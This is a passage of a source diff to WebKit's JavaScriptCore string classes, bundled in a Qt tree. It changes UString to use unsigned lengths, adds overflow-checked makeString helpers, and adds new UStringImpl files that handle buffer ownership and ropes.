-        int rfind(UChar, int pos) const;
+        static const unsigned NotFound = 0xFFFFFFFFu;
+        unsigned find(const UString& f, unsigned pos = 0) const;
+        unsigned find(UChar, unsigned pos = 0) const;
+        unsigned rfind(const UString& f, unsigned pos) const;
+        unsigned rfind(UChar, unsigned pos) const;
 
-        UString substr(int pos = 0, int len = -1) const;
+        UString substr(unsigned pos = 0, unsigned len = 0xFFFFFFFF) const;
 
-        static const UString& null() { return *nullUString; }
+        static const UString& null() { return *s_nullUString; }
 
         Rep* rep() const { return m_rep.get(); }
-        static Rep* nullRep();
 
         UString(PassRefPtr<Rep> r)
             : m_rep(r)
@@ -348,38 +168,21 @@ namespace JSC {
             ASSERT(m_rep);
         }
 
-        size_t cost() const;
-
-        // Attempt to grow this string such that it can grow to a total length of 'capacity'
-        // without reallocation.  This may fail a number of reasons - if the BasicString is
-        // shared and another string is using part of the capacity beyond our end point, if
-        // the realloc fails, or if this string is empty and has no storage.
-        //
-        // This method returns a boolean indicating success.
-        bool reserveCapacity(int capacity)
-        {
-            return m_rep->reserveCapacity(capacity);
-        }
+        size_t cost() const { return m_rep->cost(); }
 
     private:
-        void expandCapacity(int requiredLength);
-        void expandPreCapacity(int requiredPreCap);
-        void makeNull();
-
         RefPtr<Rep> m_rep;
-        static UString* nullUString;
+
+        JS_EXPORTDATA static Rep* s_nullRep;
+        static UString* s_nullUString;
 
         friend void initializeUString();
         friend bool operator==(const UString&, const UString&);
-        friend PassRefPtr<Rep> concatenate(Rep*, Rep*); // returns 0 if out of memory
     };
-    PassRefPtr<UString::Rep> concatenate(UString::Rep*, UString::Rep*);
-    PassRefPtr<UString::Rep> concatenate(UString::Rep*, int);
-    PassRefPtr<UString::Rep> concatenate(UString::Rep*, double);
 
-    inline bool operator==(const UString& s1, const UString& s2)
+    ALWAYS_INLINE bool operator==(const UString& s1, const UString& s2)
     {
-        int size = s1.size();
+        unsigned size = s1.size();
         switch (size) {
         case 0:
             return !s2.size();
@@ -423,117 +226,428 @@ namespace JSC {
         return !JSC::operator==(s1, s2);
     }
 
-    bool operator==(const CString&, const CString&);
+    int compare(const UString&, const UString&);
 
-    inline UString operator+(const UString& s1, const UString& s2)
+    inline UString::UString()
+        : m_rep(s_nullRep)
     {
-        RefPtr<UString::Rep> result = concatenate(s1.rep(), s2.rep());
-        return UString(result ? result.release() : UString::nullRep());
     }
 
-    int compare(const UString&, const UString&);
+    // Rule from ECMA 15.2 about what an array index is.
+    // Must exactly match string form of an unsigned integer, and be less than 2^32 - 1.
+    inline unsigned UString::toArrayIndex(bool* ok) const
+    {
+        unsigned i = toStrictUInt32(ok);
+        if (ok && i >= 0xFFFFFFFFU)
+            *ok = false;
+        return i;
+    }
 
-    bool equal(const UString::Rep*, const UString::Rep*);
+    // We'd rather not do shared substring append for small strings, since
+    // this runs too much risk of a tiny initial string holding down a
+    // huge buffer.
+    static const unsigned minShareSize = Heap::minExtraCost / sizeof(UChar);
 
-    inline PassRefPtr<UString::Rep> UString::Rep::create(PassRefPtr<UString::Rep> rep, int offset, int length)
-    {
-        ASSERT(rep);
-        rep->checkConsistency();
+    struct IdentifierRepHash : PtrHash<RefPtr<JSC::UString::Rep> > {
+        static unsigned hash(const RefPtr<JSC::UString::Rep>& key) { return key->existingHash(); }
+        static unsigned hash(JSC::UString::Rep* key) { return key->existingHash(); }
+    };
 
-        int repOffset = rep->offset;
+    void initializeUString();
 
-        PassRefPtr<BaseString> base = rep->baseString();
+    template<typename StringType>
+    class StringTypeAdapter {
+    };
 
-        ASSERT(-(offset + repOffset) <= base->usedPreCapacity);
-        ASSERT(offset + repOffset + length <= base->usedCapacity);
+    template<>
+    class StringTypeAdapter<char*> {
+    public:
+        StringTypeAdapter<char*>(char* buffer)
+            : m_buffer((unsigned char*)buffer)
+            , m_length(strlen(buffer))
+        {
+        }
 
-        // Steal the single reference this Rep was created with.
-        return adoptRef(new Rep(base, repOffset + offset, length));
-    }
+        unsigned length() { return m_length; }
+
+        void writeTo(UChar* destination)
+        {
+            for (unsigned i = 0; i < m_length; ++i)
+                destination[i] = m_buffer[i];
+        }
+
+    private:
+        const unsigned char* m_buffer;
+        unsigned m_length;
+    };
+
+    template<>
+    class StringTypeAdapter<const char*> {
+    public:
+        StringTypeAdapter<const char*>(const char* buffer)
+            : m_buffer((unsigned char*)buffer)
+            , m_length(strlen(buffer))
+        {
+        }
+
+        unsigned length() { return m_length; }
 
-    inline UChar* UString::Rep::data() const
+        void writeTo(UChar* destination)
+        {
+            for (unsigned i = 0; i < m_length; ++i)
+                destination[i] = m_buffer[i];
+        }
+
+    private:
+        const unsigned char* m_buffer;
+        unsigned m_length;
+    };
+
+    template<>
+    class StringTypeAdapter<UString> {
+    public:
+        StringTypeAdapter<UString>(UString& string)
+            : m_data(string.data())
+            , m_length(string.size())
+        {
+        }
+
+        unsigned length() { return m_length; }
+
+        void writeTo(UChar* destination)
+        {
+            for (unsigned i = 0; i < m_length; ++i)
+                destination[i] = m_data[i];
+        }
+
+    private:
+        const UChar* m_data;
+        unsigned m_length;
+    };
+
+    inline void sumWithOverflow(unsigned& total, unsigned addend, bool& overflow)
     {
-        const BaseString* base = baseString();
-        return base->buf + base->preCapacity + offset;
+        unsigned oldTotal = total;
+        total = oldTotal + addend;
+        if (total < oldTotal)
+            overflow = true;
     }
 
-    inline void UString::Rep::setStatic(bool v)
+    template<typename StringType1, typename StringType2>
+    PassRefPtr<UStringImpl> tryMakeString(StringType1 string1, StringType2 string2)
     {
-        ASSERT(!identifierTable());
-        if (v)
-            m_identifierTableAndFlags.setFlag(StaticFlag);
-        else
-            m_identifierTableAndFlags.clearFlag(StaticFlag);
+        StringTypeAdapter<StringType1> adapter1(string1);
+        StringTypeAdapter<StringType2> adapter2(string2);
+
+        UChar* buffer;
+        bool overflow = false;
+        unsigned length = adapter1.length();
+        sumWithOverflow(length, adapter2.length(), overflow);
+        if (overflow)
+            return 0;
+        PassRefPtr<UStringImpl> resultImpl = UStringImpl::tryCreateUninitialized(length, buffer);
+        if (!resultImpl)
+            return 0;
+
+        UChar* result = buffer;
+        adapter1.writeTo(result);
+        result += adapter1.length();
+        adapter2.writeTo(result);
+
+        return resultImpl;
     }
 
-    inline void UString::Rep::setBaseString(PassRefPtr<BaseString> base)
+    template<typename StringType1, typename StringType2, typename StringType3>
+    PassRefPtr<UStringImpl> tryMakeString(StringType1 string1, StringType2 string2, StringType3 string3)
     {
-        ASSERT(base != this);
-        ASSERT(!baseIsSelf());
-        m_baseString = base.releaseRef();
+        StringTypeAdapter<StringType1> adapter1(string1);
+        StringTypeAdapter<StringType2> adapter2(string2);
+        StringTypeAdapter<StringType3> adapter3(string3);
+
+        UChar* buffer;
+        bool overflow = false;
+        unsigned length = adapter1.length();
+        sumWithOverflow(length, adapter2.length(), overflow);
+        sumWithOverflow(length, adapter3.length(), overflow);
+        if (overflow)
+            return 0;
+        PassRefPtr<UStringImpl> resultImpl = UStringImpl::tryCreateUninitialized(length, buffer);
+        if (!resultImpl)
+            return 0;
+
+        UChar* result = buffer;
+        adapter1.writeTo(result);
+        result += adapter1.length();
+        adapter2.writeTo(result);
+        result += adapter2.length();
+        adapter3.writeTo(result);
+
+        return resultImpl;
     }
 
-    inline UString::BaseString* UString::Rep::baseString()
+    template<typename StringType1, typename StringType2, typename StringType3, typename StringType4>
+    PassRefPtr<UStringImpl> tryMakeString(StringType1 string1, StringType2 string2, StringType3 string3, StringType4 string4)
     {
-        return !baseIsSelf() ? m_baseString : reinterpret_cast<BaseString*>(this) ;
+        StringTypeAdapter<StringType1> adapter1(string1);
+        StringTypeAdapter<StringType2> adapter2(string2);
+        StringTypeAdapter<StringType3> adapter3(string3);
+        StringTypeAdapter<StringType4> adapter4(string4);
+
+        UChar* buffer;
+        bool overflow = false;
+        unsigned length = adapter1.length();
+        sumWithOverflow(length, adapter2.length(), overflow);
+        sumWithOverflow(length, adapter3.length(), overflow);
+        sumWithOverflow(length, adapter4.length(), overflow);
+        if (overflow)
+            return 0;
+        PassRefPtr<UStringImpl> resultImpl = UStringImpl::tryCreateUninitialized(length, buffer);
+        if (!resultImpl)
+            return 0;
+
+        UChar* result = buffer;
+        adapter1.writeTo(result);
+        result += adapter1.length();
+        adapter2.writeTo(result);
+        result += adapter2.length();
+        adapter3.writeTo(result);
+        result += adapter3.length();
+        adapter4.writeTo(result);
+
+        return resultImpl;
     }
 
-    inline const UString::BaseString* UString::Rep::baseString() const
+    template<typename StringType1, typename StringType2, typename StringType3, typename StringType4, typename StringType5>
+    PassRefPtr<UStringImpl> tryMakeString(StringType1 string1, StringType2 string2, StringType3 string3, StringType4 string4, StringType5 string5)
     {
-        return const_cast<Rep*>(this)->baseString();
+        StringTypeAdapter<StringType1> adapter1(string1);
+        StringTypeAdapter<StringType2> adapter2(string2);
+        StringTypeAdapter<StringType3> adapter3(string3);
+        StringTypeAdapter<StringType4> adapter4(string4);
+        StringTypeAdapter<StringType5> adapter5(string5);
+
+        UChar* buffer;
+        bool overflow = false;
+        unsigned length = adapter1.length();
+        sumWithOverflow(length, adapter2.length(), overflow);
+        sumWithOverflow(length, adapter3.length(), overflow);
+        sumWithOverflow(length, adapter4.length(), overflow);
+        sumWithOverflow(length, adapter5.length(), overflow);
+        if (overflow)
+            return 0;
+        PassRefPtr<UStringImpl> resultImpl = UStringImpl::tryCreateUninitialized(length, buffer);
+        if (!resultImpl)
+            return 0;
+
+        UChar* result = buffer;
+        adapter1.writeTo(result);
+        result += adapter1.length();
+        adapter2.writeTo(result);
+        result += adapter2.length();
+        adapter3.writeTo(result);
+        result += adapter3.length();
+        adapter4.writeTo(result);
+        result += adapter4.length();
+        adapter5.writeTo(result);
+
+        return resultImpl;
     }
 
-#ifdef NDEBUG
-    inline void UString::Rep::checkConsistency() const
+    template<typename StringType1, typename StringType2, typename StringType3, typename StringType4, typename StringType5, typename StringType6>
+    PassRefPtr<UStringImpl> tryMakeString(StringType1 string1, StringType2 string2, StringType3 string3, StringType4 string4, StringType5 string5, StringType6 string6)
     {
+        StringTypeAdapter<StringType1> adapter1(string1);
+        StringTypeAdapter<StringType2> adapter2(string2);
+        StringTypeAdapter<StringType3> adapter3(string3);
+        StringTypeAdapter<StringType4> adapter4(string4);
+        StringTypeAdapter<StringType5> adapter5(string5);
+        StringTypeAdapter<StringType6> adapter6(string6);
+
+        UChar* buffer;
+        bool overflow = false;
+        unsigned length = adapter1.length();
+        sumWithOverflow(length, adapter2.length(), overflow);
+        sumWithOverflow(length, adapter3.length(), overflow);
+        sumWithOverflow(length, adapter4.length(), overflow);
+        sumWithOverflow(length, adapter5.length(), overflow);
+        sumWithOverflow(length, adapter6.length(), overflow);
+        if (overflow)
+            return 0;
+        PassRefPtr<UStringImpl> resultImpl = UStringImpl::tryCreateUninitialized(length, buffer);
+        if (!resultImpl)
+            return 0;
+
+        UChar* result = buffer;
+        adapter1.writeTo(result);
+        result += adapter1.length();
+        adapter2.writeTo(result);
+        result += adapter2.length();
+        adapter3.writeTo(result);
+        result += adapter3.length();
+        adapter4.writeTo(result);
+        result += adapter4.length();
+        adapter5.writeTo(result);
+        result += adapter5.length();
+        adapter6.writeTo(result);
+
+        return resultImpl;
     }
-#endif
 
-    inline UString::UString()
-        : m_rep(&Rep::null())
+    template<typename StringType1, typename StringType2, typename StringType3, typename StringType4, typename StringType5, typename StringType6, typename StringType7>
+    PassRefPtr<UStringImpl> tryMakeString(StringType1 string1, StringType2 string2, StringType3 string3, StringType4 string4, StringType5 string5, StringType6 string6, StringType7 string7)
     {
+        StringTypeAdapter<StringType1> adapter1(string1);
+        StringTypeAdapter<StringType2> adapter2(string2);
+        StringTypeAdapter<StringType3> adapter3(string3);
+        StringTypeAdapter<StringType4> adapter4(string4);
+        StringTypeAdapter<StringType5> adapter5(string5);
+        StringTypeAdapter<StringType6> adapter6(string6);
+        StringTypeAdapter<StringType7> adapter7(string7);
+
+        UChar* buffer;
+        bool overflow = false;
+        unsigned length = adapter1.length();
+        sumWithOverflow(length, adapter2.length(), overflow);
+        sumWithOverflow(length, adapter3.length(), overflow);
+        sumWithOverflow(length, adapter4.length(), overflow);
+        sumWithOverflow(length, adapter5.length(), overflow);
+        sumWithOverflow(length, adapter6.length(), overflow);
+        sumWithOverflow(length, adapter7.length(), overflow);
+        if (overflow)
+            return 0;
+        PassRefPtr<UStringImpl> resultImpl = UStringImpl::tryCreateUninitialized(length, buffer);
+        if (!resultImpl)
+            return 0;
+
+        UChar* result = buffer;
+        adapter1.writeTo(result);
+        result += adapter1.length();
+        adapter2.writeTo(result);
+        result += adapter2.length();
+        adapter3.writeTo(result);
+        result += adapter3.length();
+        adapter4.writeTo(result);
+        result += adapter4.length();
+        adapter5.writeTo(result);
+        result += adapter5.length();
+        adapter6.writeTo(result);
+        result += adapter6.length();
+        adapter7.writeTo(result);
+
+        return resultImpl;
     }
 
-    // Rule from ECMA 15.2 about what an array index is.
-    // Must exactly match string form of an unsigned integer, and be less than 2^32 - 1.
-    inline unsigned UString::toArrayIndex(bool* ok) const
+    template<typename StringType1, typename StringType2, typename StringType3, typename StringType4, typename StringType5, typename StringType6, typename StringType7, typename StringType8>
+    PassRefPtr<UStringImpl> tryMakeString(StringType1 string1, StringType2 string2, StringType3 string3, StringType4 string4, StringType5 string5, StringType6 string6, StringType7 string7, StringType8 string8)
     {
-        unsigned i = toStrictUInt32(ok);
-        if (ok && i >= 0xFFFFFFFFU)
-            *ok = false;
-        return i;
+        StringTypeAdapter<StringType1> adapter1(string1);
+        StringTypeAdapter<StringType2> adapter2(string2);
+        StringTypeAdapter<StringType3> adapter3(string3);
+        StringTypeAdapter<StringType4> adapter4(string4);
+        StringTypeAdapter<StringType5> adapter5(string5);
+        StringTypeAdapter<StringType6> adapter6(string6);
+        StringTypeAdapter<StringType7> adapter7(string7);
+        StringTypeAdapter<StringType8> adapter8(string8);
+
+        UChar* buffer;
+        bool overflow = false;
+        unsigned length = adapter1.length();
+        sumWithOverflow(length, adapter2.length(), overflow);
+        sumWithOverflow(length, adapter3.length(), overflow);
+        sumWithOverflow(length, adapter4.length(), overflow);
+        sumWithOverflow(length, adapter5.length(), overflow);
+        sumWithOverflow(length, adapter6.length(), overflow);
+        sumWithOverflow(length, adapter7.length(), overflow);
+        sumWithOverflow(length, adapter8.length(), overflow);
+        if (overflow)
+            return 0;
+        PassRefPtr<UStringImpl> resultImpl = UStringImpl::tryCreateUninitialized(length, buffer);
+        if (!resultImpl)
+            return 0;
+
+        UChar* result = buffer;
+        adapter1.writeTo(result);
+        result += adapter1.length();
+        adapter2.writeTo(result);
+        result += adapter2.length();
+        adapter3.writeTo(result);
+        result += adapter3.length();
+        adapter4.writeTo(result);
+        result += adapter4.length();
+        adapter5.writeTo(result);
+        result += adapter5.length();
+        adapter6.writeTo(result);
+        result += adapter6.length();
+        adapter7.writeTo(result);
+        result += adapter7.length();
+        adapter8.writeTo(result);
+
+        return resultImpl;
     }
 
-    // We'd rather not do shared substring append for small strings, since
-    // this runs too much risk of a tiny initial string holding down a
-    // huge buffer.
-    // FIXME: this should be size_t but that would cause warnings until we
-    // fix UString sizes to be size_t instead of int
-    static const int minShareSize = Heap::minExtraCostSize / sizeof(UChar);
+    template<typename StringType1, typename StringType2>
+    UString makeString(StringType1 string1, StringType2 string2)
+    {
+        PassRefPtr<UStringImpl> resultImpl = tryMakeString(string1, string2);
+        if (!resultImpl)
+            CRASH();
+        return resultImpl;
+    }
 
-    inline size_t UString::cost() const
+    template<typename StringType1, typename StringType2, typename StringType3>
+    UString makeString(StringType1 string1, StringType2 string2, StringType3 string3)
     {
-        BaseString* base = m_rep->baseString();
-        size_t capacity = (base->capacity + base->preCapacity) * sizeof(UChar);
-        size_t reportedCost = base->reportedCost;
-        ASSERT(capacity >= reportedCost);
+        PassRefPtr<UStringImpl> resultImpl = tryMakeString(string1, string2, string3);
+        if (!resultImpl)
+            CRASH();
+        return resultImpl;
+    }
 
-        size_t capacityDelta = capacity - reportedCost;
+    template<typename StringType1, typename StringType2, typename StringType3, typename StringType4>
+    UString makeString(StringType1 string1, StringType2 string2, StringType3 string3, StringType4 string4)
+    {
+        PassRefPtr<UStringImpl> resultImpl = tryMakeString(string1, string2, string3, string4);
+        if (!resultImpl)
+            CRASH();
+        return resultImpl;
+    }
 
-        if (capacityDelta < static_cast<size_t>(minShareSize))
-            return 0;
+    template<typename StringType1, typename StringType2, typename StringType3, typename StringType4, typename StringType5>
+    UString makeString(StringType1 string1, StringType2 string2, StringType3 string3, StringType4 string4, StringType5 string5)
+    {
+        PassRefPtr<UStringImpl> resultImpl = tryMakeString(string1, string2, string3, string4, string5);
+        if (!resultImpl)
+            CRASH();
+        return resultImpl;
+    }
 
-        base->reportedCost = capacity;
+    template<typename StringType1, typename StringType2, typename StringType3, typename StringType4, typename StringType5, typename StringType6>
+    UString makeString(StringType1 string1, StringType2 string2, StringType3 string3, StringType4 string4, StringType5 string5, StringType6 string6)
+    {
+        PassRefPtr<UStringImpl> resultImpl = tryMakeString(string1, string2, string3, string4, string5, string6);
+        if (!resultImpl)
+            CRASH();
+        return resultImpl;
+    }
 
-        return capacityDelta;
+    template<typename StringType1, typename StringType2, typename StringType3, typename StringType4, typename StringType5, typename StringType6, typename StringType7>
+    UString makeString(StringType1 string1, StringType2 string2, StringType3 string3, StringType4 string4, StringType5 string5, StringType6 string6, StringType7 string7)
+    {
+        PassRefPtr<UStringImpl> resultImpl = tryMakeString(string1, string2, string3, string4, string5, string6, string7);
+        if (!resultImpl)
+            CRASH();
+        return resultImpl;
     }
 
-    struct IdentifierRepHash : PtrHash<RefPtr<JSC::UString::Rep> > {
-        static unsigned hash(const RefPtr<JSC::UString::Rep>& key) { return key->computedHash(); }
-        static unsigned hash(JSC::UString::Rep* key) { return key->computedHash(); }
-    };
+    template<typename StringType1, typename StringType2, typename StringType3, typename StringType4, typename StringType5, typename StringType6, typename StringType7, typename StringType8>
+    UString makeString(StringType1 string1, StringType2 string2, StringType3 string3, StringType4 string4, StringType5 string5, StringType6 string6, StringType7 string7, StringType8 string8)
+    {
+        PassRefPtr<UStringImpl> resultImpl = tryMakeString(string1, string2, string3, string4, string5, string6, string7, string8);
+        if (!resultImpl)
+            CRASH();
+        return resultImpl;
+    }
 
-    void initializeUString();
 } // namespace JSC
 
 namespace WTF {
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/UStringImpl.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/UStringImpl.cpp
new file mode 100644
index 0000000..aba63ad
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/UStringImpl.cpp
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+#include "UStringImpl.h"
+
+#include "Identifier.h"
+#include "StdLibExtras.h"
+#include "UString.h"
+#include <wtf/unicode/UTF8.h>
+
+using namespace WTF::Unicode;
+using namespace std;
+
+namespace JSC {
+
+static const unsigned minLengthToShare = 20;
+
+UStringImpl::~UStringImpl()
+{
+    ASSERT(!isStatic());
+
+    if (isIdentifier())
+        Identifier::remove(this);
+
+    BufferOwnership ownership = bufferOwnership();
+    if (ownership != BufferInternal) {
+        if (ownership == BufferOwned) {
+            ASSERT(!m_sharedBuffer);
+            ASSERT(m_data);
+            fastFree(const_cast<UChar*>(m_data));
+        } else if (ownership == BufferSubstring) {
+            ASSERT(m_substringBuffer);
+            m_substringBuffer->deref();
+        } else {
+            ASSERT(ownership == BufferShared);
+            ASSERT(m_sharedBuffer);
+            m_sharedBuffer->deref();
+        }
+    }
+}
+
+UStringImpl* UStringImpl::empty()
+{
+    // FIXME: This works around a bug in our port of PCRE, that a regular expression
+    // run on the empty string may still perform a read from the first element, and
+    // as such we need this to be a valid pointer. No code should ever be reading
+    // from a zero length string, so this should be able to be a non-null pointer
+    // into the zero-page.
+    // Replace this with 'reinterpret_cast<UChar*>(static_cast<intptr_t>(1))' once
+    // PCRE goes away.
+    static UChar emptyUCharData = 0;
+    DEFINE_STATIC_LOCAL(UStringImpl, emptyString, (&emptyUCharData, 0, ConstructStaticString));
+    return &emptyString;
+}
+
+PassRefPtr<UStringImpl> UStringImpl::createUninitialized(unsigned length, UChar*& data)
+{
+    if (!length) {
+        data = 0;
+        return empty();
+    }
+
+    // Allocate a single buffer large enough to contain the StringImpl
+    // struct as well as the data which it contains. This removes one 
+    // heap allocation from this call.
+    if (length > ((std::numeric_limits<size_t>::max() - sizeof(UStringImpl)) / sizeof(UChar)))
+        CRASH();
+    size_t size = sizeof(UStringImpl) + length * sizeof(UChar);
+    UStringImpl* string = static_cast<UStringImpl*>(fastMalloc(size));
+
+    data = reinterpret_cast<UChar*>(string + 1);
+    return adoptRef(new (string) UStringImpl(length));
+}
+
+PassRefPtr<UStringImpl> UStringImpl::create(const UChar* characters, unsigned length)
+{
+    if (!characters || !length)
+        return empty();
+
+    UChar* data;
+    PassRefPtr<UStringImpl> string = createUninitialized(length, data);
+    memcpy(data, characters, length * sizeof(UChar));
+    return string;
+}
+
+PassRefPtr<UStringImpl> UStringImpl::create(const char* characters, unsigned length)
+{
+    if (!characters || !length)
+        return empty();
+
+    UChar* data;
+    PassRefPtr<UStringImpl> string = createUninitialized(length, data);
+    for (unsigned i = 0; i != length; ++i) {
+        unsigned char c = characters[i];
+        data[i] = c;
+    }
+    return string;
+}
+
+PassRefPtr<UStringImpl> UStringImpl::create(const char* string)
+{
+    if (!string)
+        return empty();
+    return create(string, strlen(string));
+}
+
+PassRefPtr<UStringImpl> UStringImpl::create(PassRefPtr<SharedUChar> sharedBuffer, const UChar* buffer, unsigned length)
+{
+    if (!length)
+        return empty();
+    return adoptRef(new UStringImpl(buffer, length, sharedBuffer));
+}
+
+SharedUChar* UStringImpl::sharedBuffer()
+{
+    if (m_length < minLengthToShare)
+        return 0;
+    // All static strings are smaller that the minimim length to share.
+    ASSERT(!isStatic());
+
+    BufferOwnership ownership = bufferOwnership();
+
+    if (ownership == BufferInternal)
+        return 0;
+    if (ownership == BufferSubstring)
+        return m_substringBuffer->sharedBuffer();
+    if (ownership == BufferOwned) {
+        ASSERT(!m_sharedBuffer);
+        m_sharedBuffer = SharedUChar::create(new SharableUChar(m_data)).releaseRef();
+        m_refCountAndFlags = (m_refCountAndFlags & ~s_refCountMaskBufferOwnership) | BufferShared;
+    }
+
+    ASSERT(bufferOwnership() == BufferShared);
+    ASSERT(m_sharedBuffer);
+    return m_sharedBuffer;
+}
+
+void URopeImpl::derefFibersNonRecursive(Vector<URopeImpl*, 32>& workQueue)
+{
+    unsigned length = fiberCount();
+    for (unsigned i = 0; i < length; ++i) {
+        Fiber& fiber = fibers(i);
+        if (fiber->isRope()) {
+            URopeImpl* nextRope = static_cast<URopeImpl*>(fiber);
+            if (nextRope->hasOneRef())
+                workQueue.append(nextRope);
+            else
+                nextRope->deref();
+        } else
+            static_cast<UStringImpl*>(fiber)->deref();
+    }
+}
+
+void URopeImpl::destructNonRecursive()
+{
+    Vector<URopeImpl*, 32> workQueue;
+
+    derefFibersNonRecursive(workQueue);
+    delete this;
+
+    while (!workQueue.isEmpty()) {
+        URopeImpl* rope = workQueue.last();
+        workQueue.removeLast();
+        rope->derefFibersNonRecursive(workQueue);
+        delete rope;
+    }
+}
+
+} // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/UStringImpl.h b/src/3rdparty/webkit/JavaScriptCore/runtime/UStringImpl.h
new file mode 100644
index 0000000..065443a
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/UStringImpl.h
@@ -0,0 +1,343 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef UStringImpl_h
+#define UStringImpl_h
+
+#include <limits>
+#include <wtf/CrossThreadRefCounted.h>
+#include <wtf/OwnFastMallocPtr.h>
+#include <wtf/PossiblyNull.h>
+#include <wtf/StringHashFunctions.h>
+#include <wtf/Vector.h>
+#include <wtf/unicode/Unicode.h>
+
+namespace JSC {
+
+class IdentifierTable;
+
+typedef OwnFastMallocPtr<const UChar> SharableUChar;
+typedef CrossThreadRefCounted<SharableUChar> SharedUChar;
+
+class UStringOrRopeImpl : public Noncopyable {
+public:
+    bool isRope() { return (m_refCountAndFlags & s_refCountIsRope) == s_refCountIsRope; }
+    unsigned length() const { return m_length; }
+
+    void ref() { m_refCountAndFlags += s_refCountIncrement; }
+    inline void deref();
+
+protected:
+    enum BufferOwnership {
+        BufferInternal,
+        BufferOwned,
+        BufferSubstring,
+        BufferShared,
+    };
+
+    using Noncopyable::operator new;
+
+    // For SmallStringStorage, which allocates an array and uses an in-place new.
+    UStringOrRopeImpl() { }
+
+    UStringOrRopeImpl(unsigned length, BufferOwnership ownership)
+        : m_refCountAndFlags(s_refCountIncrement | s_refCountFlagShouldReportedCost | ownership)
+        , m_length(length)
+    {
+        ASSERT(!isRope());
+    }
+
+    enum StaticStringConstructType { ConstructStaticString };
+    UStringOrRopeImpl(unsigned length, StaticStringConstructType)
+        : m_refCountAndFlags(s_refCountFlagStatic | s_refCountFlagIsIdentifier | BufferOwned)
+        , m_length(length)
+    {
+        ASSERT(!isRope());
+    }
+
+    enum RopeConstructType { ConstructRope };
+    UStringOrRopeImpl(RopeConstructType)
+        : m_refCountAndFlags(s_refCountIncrement | s_refCountIsRope)
+        , m_length(0)
+    {
+        ASSERT(isRope());
+    }
+
+    // The bottom 5 bits hold flags, the top 27 bits hold the ref count.
+    // When dereferencing UStringImpls we check for the ref count AND the
+    // static bit both being zero - static strings are never deleted.
+    static const unsigned s_refCountMask = 0xFFFFFFE0;
+    static const unsigned s_refCountIncrement = 0x20;
+    static const unsigned s_refCountFlagStatic = 0x10;
+    static const unsigned s_refCountFlagShouldReportedCost = 0x8;
+    static const unsigned s_refCountFlagIsIdentifier = 0x4;
+    static const unsigned s_refCountMaskBufferOwnership = 0x3;
+    // Use an otherwise invalid permutation of flags (static & shouldReportedCost -
+    // static strings do not set shouldReportedCost in the constructor, and this bit
+    // is only ever cleared, not set) to identify objects that are ropes.
+    static const unsigned s_refCountIsRope = s_refCountFlagStatic | s_refCountFlagShouldReportedCost;
+
+    unsigned m_refCountAndFlags;
+    unsigned m_length;
+};
+
+class UStringImpl : public UStringOrRopeImpl {
+    friend class CStringTranslator;
+    friend class UCharBufferTranslator;
+    friend class JIT;
+    friend class SmallStringsStorage;
+    friend class UStringOrRopeImpl;
+    friend void initializeUString();
+private:
+    // For SmallStringStorage, which allocates an array and uses an in-place new.
+    UStringImpl() { }
+
+    // Used to construct static strings, which have an special refCount that can never hit zero.
+    // This means that the static string will never be destroyed, which is important because
+    // static strings will be shared across threads & ref-counted in a non-threadsafe manner.
+    UStringImpl(const UChar* characters, unsigned length, StaticStringConstructType)
+        : UStringOrRopeImpl(length, ConstructStaticString)
+        , m_data(characters)
+        , m_buffer(0)
